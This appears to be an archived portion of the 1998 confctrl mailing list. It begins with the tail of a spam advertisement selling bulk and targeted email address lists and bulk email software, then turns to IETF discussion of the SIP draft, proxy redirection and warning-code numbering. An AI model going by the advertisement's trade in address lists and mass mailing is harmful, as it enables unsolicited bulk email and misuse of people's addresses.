cleaned of remove requests, flames, etc. Also, we have much more on stock.

500,000 - 220.00
1,000,000 - 350.00

4. Targeted Mailings & Targeted Email Lists

We also have targeted email addresses, and also can retrieve targeted email addresses. Minimum order of 
5,000, due to the large work involved. Prices are per 5,000 @ 100.00. For Targeted Mailings prices are per 
5,000 as well. Per 5,000 @ $200.00.

5. Web Page Design

Let us create your web page, with state of the art design & graphics. To get started on this, you will need 
to send us a proposal, either by email, fax, or snail mail. If possible please send us a competitive price so 
we can work out and negotiate the web site to be designed.

6. Customized Graphics

We can customize any graphics you desire. For example do you need customized pictures, a company 
logo, a banner, or any type of graphical illustration. We can do all. Contact us on what you need, and we 
will reply with a price quote.

7. Bulk Email Software

We are distributors for one of the best bulk email packages out there. Express Mail Server transforms your 
computer into a powerful mail server. Let us show you the benefits of this amazing software. As well, you 
can receive a free 3-day fully-functional demo, which will give you time to actually try out the program 
package. the program retails regularly for: $299, but if you mention this ad, we will give it to you for $225.

8. Web Page Maintenance

We also can maintain your web page, and make changes as you require them. The prices can be 
negotiated on this. For further info. please email us, or phone us.

9. Credit Card Merchant Account

We have arrangements with a major credit card processor, which will allow you to obtain a pre-approved 
merchant account. You can then accept credit cards on your web-site, or be able to receive orders, form 
email messages sent out, etc. They also have various other services that they provide. Email us for more 
information.

Do you have a deal to make with us?? Send us some info. on your proposal and we will look at it. If we 
want to go from there, we will negotiate fairly.

We are always coming out with new services and products. Do you have any new ideas that we can add 
to our extensive list of products/services. Drop us a line, and we will certainly look over it. If there's 
something that's not here, we probably came out with it, or will come out with it. Just contact us and we 
will see what we can do.

How to order or Contact us:

As stated above, prices are in US. Funds. We accept as payment, check, money order, or bank transfer.
For check's and money orders please send to our postal address. For bank transfer's please email, or 
phone us, for further instructions.

To place an order, send a proposal, or to discuss anything with us:

Postal Address:

Estroco Technologies
32983 Wills Road
Wainfleet, Ontario, Canada
L0S 1V0

Email: medina@pobox.com
Phone/Fax: (905) 899-3508

Thanks for your attention and time


Note: if you don't wish to receive further mailings, please respond to our email address stating this, and you 
will not receive any mailings from us or will not be place on any email lists, etc. You will just be transferred 
to our permanent remove list, which will guarantee you receive no mailings form us, or any mailings form 
lists sold by us.



From confctrl-owner  Fri Jul 17 07:43:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13607
	for confctrl-outgoing; Fri, 17 Jul 1998 07:43:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13602
	for <confctrl@zephyr.isi.edu>; Fri, 17 Jul 1998 07:43:17 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA07119
	for <confctrl@isi.edu>; Fri, 17 Jul 1998 07:43:15 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA04567; Fri, 17 Jul 1998 10:43:11 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: SIP specification WG LAST CALL
Date: Fri, 17 Jul 1998 10:43:11 -0400
Message-ID: <4565.900686591@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


We have just submitted the -07 draft of the SIP spec to the Internet
Drafts editor - it will appear in the ID archives in due course, but
can currently be obtained from the SIP web page:

  http://www.cs.columbia.edu/~hgs/sip/ 

We believe that SIP is now stable.  We plan to submit it to the IESG
in three weeks time for consideration as a Proposed Standard.  As part
of this process we are now issuing a WORKING GROUP LAST CALL on the
SIP specification draft.  

The procedure for the Last Call is as follows:

The last call will last two weeks from today, during which time you
are strongly encouraged to read the SIP spec and notify us of any
errors, omissions or problems with the spec.  You may mail the group
mailing list, or the authors directly as you see fit.

If we are notified of no problems with the spec, we will submit it to
the IESG in early August.  If the spec needs to be revised in a minor
way (typos, clarifications), we will issue a new draft in early Augest
and submit that to the IESG without a further last call. If a serious
problem is found, we will issue a new draft and then repeat the last
call.  However the spec has seen sufficient comment that I consider
repeating the last call to be unlikely.

Cheers,
	Mark

From confctrl-owner  Sat Jul 18 06:50:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA07021
	for confctrl-outgoing; Sat, 18 Jul 1998 06:50:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07016
	for <confctrl@zephyr.isi.edu>; Sat, 18 Jul 1998 06:50:05 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13799
	for <confctrl@isi.edu>; Sat, 18 Jul 1998 06:50:04 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id JAA28801;
	Sat, 18 Jul 1998 09:49:30 -0400 (EDT)
Message-Id: <199807181349.JAA28801@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-07.txt,.ps
Date: Sat, 18 Jul 1998 09:49:29 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts
directories.  This draft is a work item of the Multiparty Multimedia
Session Control Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)       : M. Handley, H. Schulzrinne, E. Schooler,
			  J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-07.txt,.ps
	Pages		: 121
	Date		: 17-Jul-98
	
The Session Initiation Protocol (SIP) is an application-layer control
(signaling) protocol for creating, modifying and terminating sessions
with one or more participants. These sessions include Internet
multimedia conferences, Internet telephone calls and multimedia
distribution. Members in a session can communicate via  multicast or
via a mesh of unicast relations, or a combination of these.

SIP invitations used to create sessions carry session descriptions
which allow participants to agree on a set of compatible media types.
It supports user mobility by proxying and redirecting requests to the
user's current location. Users can register their current location. SIP
is not tied to any particular conference control  protocol. SIP is
designed to be independent of the lower-layer transport protocol and
can be extended with additional capabilities.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-07.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-07.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-07.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980717084630.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-07.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-07.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980717084630.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jul 23 04:49:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA24952
	for confctrl-outgoing; Thu, 23 Jul 1998 04:49:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA24947
	for <confctrl@zephyr.isi.edu>; Thu, 23 Jul 1998 04:49:40 -0700 (PDT)
Received: from jupiter.iwatsu.co.jp (jupiter.iwatsu.co.jp [202.225.23.33])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18855
	for <confctrl@isi.edu>; Thu, 23 Jul 1998 04:49:38 -0700 (PDT)
Received: from moon.iwatsu.co.jp iwatsu.co.jp(by jupiter.iwatsu.co.jp (8.7.3/3.4W2iwatsu-MX01) with ESMTP id UAA18598 for <confctrl@isi.edu>; Thu, 23 Jul 1998 20:51:19 +0900 (JST)
Received: from ioa01.iwatsu.co.jp (localhost [127.0.0.1]) by moon.iwatsu.co.jp (8.7.4/3.4W2-moonMX01) with ESMTP id LAA11905 for <confctrl@isi.edu>; Thu, 23 Jul 1998 11:44:39 GMT
Received: (from root@localhost) by ioa01.iwatsu.co.jp (8.7.6+2.6Wbeta7/3.5Wpl1-algw) id UAA04752 for confctrl@isi.edu; Thu, 23 Jul 1998 20:47:22 +0900 (JST)
Received: by algw.iwatsu.co.jp; Thu, 23 Jul 98 20:47:17 +0900
Original-Encoded-Information-Types: Undefined
Priority: normal
Message-Id: <0002008162000321006600000AC4@algw.iwatsu.co.jp>
Subject: A Question about SIP
Date: Thu, 23 Jul 98 20:47:17 +0900
From: takagih@iwatsu.co.jp
To: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
X-Mailer: StarOffice_MHSLink[R2.1]
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MimeMultipartBoundary"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--MimeMultipartBoundary
Content-Type: Text/Plain; Charset=ISO-2022-JP

Dear Authors of SIP,

I am an engineer at Iwatsu Electric, PBX manufacturer in Japan.

When I read SIP filed as draft-ietp-mmusic-sip-07c.ps, I have a question about
message redirection.

Before asking my question its assumptions need to be explained.

The environment:
1. There is a domain that has a firewall.
2. All IP packets to the domain are supposed to go through the firewall.
3. The firewall has SIP proxy so that the proxy processes all SIP packets in addition
to IP packets conveying voice.
4. There is a secondary firewall especially for SIP, because voice over IP is very CPU intensive.
    Role for the secondary firewall is that if main SIP proxy becomes overloaded, the secondary
  SIP proxy in the secondary firewall takes successive calls for avoiding them to be failed.

Question:
In this environment I think of 3 ways to redirect the calls to the secondary SIP proxy.

1. Register 2 firewalls to DNS.
   A caller client could find out available SIP proxy based on the preference values of DNS resource records.
  But ICMP does not say "Port Unreachable" for the main firewall.
  So I do not know how the client knows the main SIP proxy is busy.
  This method is based on description on page 11.

2. Use 302 Moved temporally message for the response of INVITE message.
  The client surely knows which proxy can guide it to the callee.
  However I think this is not adequate because the callee is not moved in this case. I just want
to have the client use the secondary proxy.
  This method is based on description on page 13.

3. Use 503 Service Unavailable message with alternative server address for the response of INVITE message.
  I think the meaning of the response is correct but I do not know the 503 can convey Location header.
  If it can convey the header, does that mean there is an alternative server you can try ?
  This method is based on description on page 52.

Please let me know which one is correct way to do this.
Am I missing something ?

Thanks in advance.
Best Regards,

Hiroaki Takagi.

+---------------------------------------------+
 Hiroaki Takagi
 Iwatsu Electric Co., Ltd.
 Software Development Dept.

 Address: 7-41, Kugayama 1-Chome Suginami-ku, 
          Tokyo, Japan
 Phone:  +81-3-5370-5239 FAX:+81-3-5370-5193
 Email:  takagih@iwatsu.co.jp
+---------------------------------------------+
--MimeMultipartBoundary--

From confctrl-owner  Thu Jul 23 07:10:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27362
	for confctrl-outgoing; Thu, 23 Jul 1998 07:10:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27357
	for <confctrl@zephyr.isi.edu>; Thu, 23 Jul 1998 07:10:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA24050
	for <confctrl@ISI.EDU>; Thu, 23 Jul 1998 07:10:03 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Jul 23 10:09:31 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA28480;
	Thu, 23 Jul 1998 10:09:30 -0400 (EDT)
Message-ID: <35B743A7.FB13EF1F@dnrc.bell-labs.com>
Date: Thu, 23 Jul 1998 10:07:35 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: takagih@iwatsu.co.jp
CC: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
Subject: Re: A Question about SIP
References: <0002008162000321006600000AC4@algw.iwatsu.co.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

takagih@iwatsu.co.jp wrote:
> 

> Question:
> In this environment I think of 3 ways to redirect the calls to the secondary SIP proxy.
> 
> 1. Register 2 firewalls to DNS.
>    A caller client could find out available SIP proxy based on the preference values of DNS resource records.
>   But ICMP does not say "Port Unreachable" for the main firewall.
>   So I do not know how the client knows the main SIP proxy is busy.
>   This method is based on description on page 11.

I think a better way to do load sharing here would be to set the SRV
records to have equal preference, and rely on round robining from the
DNS server to (roughly) distribute the load equally across both proxies.
This won't work as an overload mechanism, of course. Even in light loads
both servers will get half the requests.

> 
> 2. Use 302 Moved temporally message for the response of INVITE message.
>   The client surely knows which proxy can guide it to the callee.
>   However I think this is not adequate because the callee is not moved in this case. I just want
> to have the client use the secondary proxy.
>   This method is based on description on page 13.

I think this works fine. The fact that the callee has not actually moved
seems irrelevant. You could just use a different reason phrase if you
like, such as "Alternate Server".



> 
> 3. Use 503 Service Unavailable message with alternative server address for the response of INVITE message.
>   I think the meaning of the response is correct but I do not know the 503 can convey Location header.
>   If it can convey the header, does that mean there is an alternative server you can try ?
>   This method is based on description on page 52.

I don't think this is the right approach, as the intention with this
response is that you should recontact the same server later on.

> 
> Please let me know which one is correct way to do this.
> Am I missing something ?

There is no one right answer. Usage of a 300 response code or DNS work
fine. As an additional alternative, you could just proxy the request
from the busy server to the secondary server. This way, the usage of the
extra server is hidden from the caller (unlike the 300 case).

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul 23 07:12:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27385
	for confctrl-outgoing; Thu, 23 Jul 1998 07:12:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27380
	for <confctrl@zephyr.isi.edu>; Thu, 23 Jul 1998 07:12:11 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA24132
	for <confctrl@isi.edu>; Thu, 23 Jul 1998 07:12:10 -0700 (PDT)
Received: from shelf.dnrc.bell-labs.com ([135.180.160.19]) by dirty; Thu Jul 23 10:10:14 EDT 1998
Received: from newton.dnrc.bell-labs.com (newton [135.180.144.64])
	by shelf.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA03830;
	Thu, 23 Jul 1998 10:10:54 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by newton.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id KAA10076; Thu, 23 Jul 1998 10:10:00 -0400 (EDT)
Message-ID: <35B74437.1580B046@cs.columbia.edu>
Date: Thu, 23 Jul 1998 10:09:59 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4m)
MIME-Version: 1.0
To: takagih@iwatsu.co.jp
CC: confctrl@ISI.EDU
Subject: Re: A Question about SIP
References: <0002008162000321006600000AC4@algw.iwatsu.co.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

takagih@iwatsu.co.jp wrote:
> 
> Dear Authors of SIP,
> 
> I am an engineer at Iwatsu Electric, PBX manufacturer in Japan.
> 
> When I read SIP filed as draft-ietp-mmusic-sip-07c.ps, I have a question about
> message redirection.
> 
> Before asking my question its assumptions need to be explained.
> 
> The environment:
> 1. There is a domain that has a firewall.
> 2. All IP packets to the domain are supposed to go through the firewall.
> 3. The firewall has SIP proxy so that the proxy processes all SIP packets in addition
> to IP packets conveying voice.
> 4. There is a secondary firewall especially for SIP, because voice over IP is very CPU intensive.
>     Role for the secondary firewall is that if main SIP proxy becomes overloaded, the secondary
>   SIP proxy in the secondary firewall takes successive calls for avoiding them to be failed.
> 
> Question:
> In this environment I think of 3 ways to redirect the calls to the secondary SIP proxy.
> 
> 1. Register 2 firewalls to DNS.
>    A caller client could find out available SIP proxy based on the preference values of DNS resource records.
>   But ICMP does not say "Port Unreachable" for the main firewall.
>   So I do not know how the client knows the main SIP proxy is busy.
>   This method is based on description on page 11.

It could return a status message '503 Service unavailable'. A smart
client would then choose the next on the list. (We haven't done this,
but I wonder if we should allow a Location field indicating an alternate
server in this case?)


> 
> 2. Use 302 Moved temporally message for the response of INVITE message.
>   The client surely knows which proxy can guide it to the callee.
>   However I think this is not adequate because the callee is not moved in this case. I just want
> to have the client use the secondary proxy.
>   This method is based on description on page 13.

This would still work: Let's say we have proxy servers proxy1.foo.com
and proxy2.foo.com, with a call (To and Request-URI) of
callee@elsewhere.com:

INVITE sip:callee@elsewhere.com SIP/2.0
To: callee@elsewhere.com
From: caller@foo.com

Proxy2.foo.com returns 302, with Location: @proxy2.foo.com. According to
the rewrite rules, the Location header becomes the Request-URI (and the
destination for the next request), while the To and From fields remain
unchanged. Thus, proxy2.foo.com will get an INVITE with

INVITE sip:@proxy2.foo.com SIP/2.0
To: callee@elsewhere.com
From: caller@foo.com
...

and should be able to do the right thing. (Maybe the rule for outgoing
proxies should be something like: If request-URI is yourself, check
user-id and use it for forwarding. If no user-id, use To. If other
domain, use Request-URI for forwarding. The latter rule is necessary to
avoid loops. Consider the following example:

INVITE sip:alice@foo.com
To: sip:alice@foo.com
From: sip:friend@bar.com

getting redirected (during Alice's vacation) to 

302 Moved temporarily
Location: sip:bob@foo.com (Alice's vacation substitute)

which would trigger according to standard rules:

INVITE sip:bob@foo.com
To: sip:alice@foo.com (so that Bob knows he's answering a call really
meant for Alice)
From: sip:friend@bar.com

If you continue to forward based on the To: header (i.e., Alice), you'd
get a loop, with no escape.)

> 
> 3. Use 503 Service Unavailable message with alternative server address for the response of INVITE message.
>   I think the meaning of the response is correct but I do not know the 503 can convey Location header.
>   If it can convey the header, does that mean there is an alternative server you can try ?
>   This method is based on description on page 52.

See above.

> 
> Please let me know which one is correct way to do this.
> Am I missing something ?
> 
> Thanks in advance.
> Best Regards,
> 
> Hiroaki Takagi.
> 
> +---------------------------------------------+
>  Hiroaki Takagi
>  Iwatsu Electric Co., Ltd.
>  Software Development Dept.
> 
>  Address: 7-41, Kugayama 1-Chome Suginami-ku,
>           Tokyo, Japan
>  Phone:  +81-3-5370-5239 FAX:+81-3-5370-5193
>  Email:  takagih@iwatsu.co.jp
> +---------------------------------------------+

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Jul 24 05:38:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA20991
	for confctrl-outgoing; Fri, 24 Jul 1998 05:38:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA20986
	for <confctrl@zephyr.isi.edu>; Fri, 24 Jul 1998 05:38:09 -0700 (PDT)
Received: from jupiter.iwatsu.co.jp (jupiter.iwatsu.co.jp [202.225.23.33])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA24342
	for <confctrl@ISI.EDU>; Fri, 24 Jul 1998 05:38:07 -0700 (PDT)
Received: from moon.iwatsu.co.jp iwatsu.co.jp(by jupiter.iwatsu.co.jp (8.7.3/3.4W2iwatsu-MX01) with ESMTP id VAA26105 for <confctrl@ISI.EDU>; Fri, 24 Jul 1998 21:39:49 +0900 (JST)
Received: from ioa01.iwatsu.co.jp (localhost [127.0.0.1]) by moon.iwatsu.co.jp (8.7.4/3.4W2-moonMX01) with ESMTP id MAA11167 for <confctrl@ISI.EDU>; Fri, 24 Jul 1998 12:33:07 GMT
Received: (from root@localhost) by ioa01.iwatsu.co.jp (8.7.6+2.6Wbeta7/3.5Wpl1-algw) id VAA08590 for confctrl@ISI.EDU; Fri, 24 Jul 1998 21:35:50 +0900 (JST)
Received: by algw.iwatsu.co.jp; Fri, 24 Jul 98 21:35:44 +0900
Original-Encoded-Information-Types: Undefined
Priority: normal
Message-Id: <0002008162000321006600000ACC@algw.iwatsu.co.jp>
Subject: Re: A Question about SIP
Date: Fri, 24 Jul 98 21:35:44 +0900
From: takagih@iwatsu.co.jp
To: jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
X-Mailer: StarOffice_MHSLink[R2.1]
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MimeMultipartBoundary"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--MimeMultipartBoundary
Content-Type: Text/Plain; Charset=ISO-2022-JP

Jonathan, 
thank you for your response.

As far as I think No. 2 with a different reason phrase, such as "Alternate Server"
is a fairy good idea.

Think of actual environment this phrase should be always used in this specific situation
so that a caller may be notified by message saying such as "redirected to 
alternative server".  But this is different from getting a message saying
"moved temporary", so I think it is reasonable and no misunderstanding.

My request for this is the phrase should be one in Status code 3xx. 

We can think of different approaches, such like No.1, No. 3...
But "Alternate Server" status code is straightforward  and not ambiguous.

Many thanks.

Hiroaki Takagi.

>jdrosen@dnrc.bell-labs.com wrote:
>takagih@iwatsu.co.jp wrote:
>> 
>
>> Question:
>> In this environment I think of 3 ways to redirect the calls to the secondary SIP proxy.
>> 
>> 1. Register 2 firewalls to DNS.
>>    A caller client could find out available SIP proxy based on the preference values of DNS resource records.
>>   But ICMP does not say "Port Unreachable" for the main firewall.
>>   So I do not know how the client knows the main SIP proxy is busy.
>>   This method is based on description on page 11.
>
>I think a better way to do load sharing here would be to set the SRV
>records to have equal preference, and rely on round robining from the
>DNS server to (roughly) distribute the load equally across both proxies.
>This won't work as an overload mechanism, of course. Even in light loads
>both servers will get half the requests.
>
>> 
>> 2. Use 302 Moved temporally message for the response of INVITE message.
>>   The client surely knows which proxy can guide it to the callee.
>>   However I think this is not adequate because the callee is not moved in this case. I just want
>> to have the client use the secondary proxy.
>>   This method is based on description on page 13.
>
>I think this works fine. The fact that the callee has not actually moved
>seems irrelevant. You could just use a different reason phrase if you
>like, such as "Alternate Server".
>
>
>
>> 
>> 3. Use 503 Service Unavailable message with alternative server address for the response of INVITE message.
>>   I think the meaning of the response is correct but I do not know the 503 can convey Location header.
>>   If it can convey the header, does that mean there is an alternative server you can try ?
>>   This method is based on description on page 52.
>
>I don't think this is the right approach, as the intention with this
>response is that you should recontact the same server later on.
>
>> 
>> Please let me know which one is correct way to do this.
>> Am I missing something ?
>
>There is no one right answer. Usage of a 300 response code or DNS work
>fine. As an additional alternative, you could just proxy the request
>from the busy server to the secondary server. This way, the usage of the
>extra server is hidden from the caller (unlike the 300 case).
>
>-Jonathan R.
>
>
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX:   (732) 834-5379                       Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen

+---------------------------------------------+
 Hiroaki Takagi
 Iwatsu Electric Co., Ltd.
 Software Development Dept.

 Address: 7-41, Kugayama 1-Chome Suginami-ku, 
          Tokyo, Japan
 Phone:  +81-3-5370-5239 FAX:+81-3-5370-5193
 Email:  takagih@iwatsu.co.jp
+---------------------------------------------+
--MimeMultipartBoundary--

From confctrl-owner  Fri Jul 24 07:50:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22639
	for confctrl-outgoing; Fri, 24 Jul 1998 07:50:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22634
	for <confctrl@zephyr.isi.edu>; Fri, 24 Jul 1998 07:50:16 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00774;
	Fri, 24 Jul 1998 07:50:10 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id RAA05209; Fri, 24 Jul 1998 17:49:50 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225664B.005730D5 ; Fri, 24 Jul 1998 17:52:21 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: confctrl@ISI.EDU
Message-ID: <4225664A.006FCB3B.00@il4.vocaltec.co.il>
Date: Thu, 23 Jul 1998 23:28:53 +0200
Subject: Re: SIP specification WG LAST CALL -- Warning
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 07/23/98 11:28 PM

I know that we have beaten the Warning header almost to death, but I'd like
to take SIP seriously and suggest some small editorial changes to the
Warning codes, mainly to make our lives easier later.

First of all, however you slice it there is an error in the current spec,
warning x09 is repeated twice, once for "media type not available" and once
for "session description not understood" (if the postscript is different, I
read the .txt file).


1. I would like to remove the separate 3xx and 4xx versions of the same
warnings. The reasons are:
     a. This distinction is useful for many warning error codes, past
present and future, not only for the ones defined here. I think it is bad
to have to add two versions of each warning we will ever define.
     b. I would like to make it easy to merge SIP and HTTP some day. So I
am very comfortable saying that HTTP defines 1xx warnings to signal
cache-related problems, while SIP defines 3xx warnings induced by the
session description. I can see that in the future the 3xx can more
generally signal  problems with the payload content of the message. I can
see how this can merge in the future with HTTP. Although that is not a
present goal of SIP, there is no reason to make it more difficult.

The two arguments above interact: if you really think that the
"fatal/non-fatal" distinction is important, then maybe it should somehow
exist for the 1x cache-related warnings of HTTP.  I would just as soon
avoid this whole mess.

I have suggested in the past that the "fatal/non-fatal" distinction would
be fine in a sub-code, but Henning doesn't like that. As a compromise I
would rather just leave out the distinction entirely from the numeric
codes. A server can always add it into the warn-text.

2. Unless the new SIP warning codes are organized along more logical lines,
it will be just make for more chaos as new Warnings are added.  Right now
the defined warnings fall nicely into four groups:

     a. warnings related to SDP: x02, x03, x04, x05, x06, x09, x10, x09
(x09 is repeated twice, this is an error in the spec)
     b. warnings related to basic network service:  x07, x08
(multicast/unicast not available)
     c. warnings related to quantitative QoS parameters: x01 (insufficient
bandwidth)
     d. miscellaneous warnings: x99.

This numerical codes given are just silly. For example, maybe in a year or
two we'll want to add a warning for "IPv6 not available". Or maybe we'll
want other warnings for QoS than just "insufficient bandwidth" (Maybe
there'll be some other resource which someone tries to reserve somehow, and
we'll want to add a warning like "insufficient MIPS" or "insufficient
Vitamin C"). Rather than just add random numbers at the end, I would like
to attempt to make the warning codes easy to recognize and extend.  Knowing
that the range for "SDP problems" is 300-307 really does make my coding
easier, and helps me remember what the codes mean when I start debugging.

My concrete suggestion is just to renumber the warning codes:

300-307  warnings directly related to keywords in the Session Description

   300 Incompatible transport protocol: One or more transport protocols
        described in the request are not available.

   301 Incompatible network protocol: One or more network protocols
        described in the request are not available.

   302 Incompatible network address formats: One or more network address
        formats described in the request are not available.

   303  Incompatible media format: One or more media formats described in
        the request are not available.

   304 Incompatible bandwidth description: One or more bandwidth
        descriptions contained in the request were not understood.

   305 Media type not available: One or more media types contained in
        the request are not available.

   306 Attribute not understood: One or more of the media attributes in
        the request are not supported.

   307 Session description parameter not understood: A parameter other
        than those listed above was not understood.

330-339  Warnings related to basic network services requested in the
Session Description

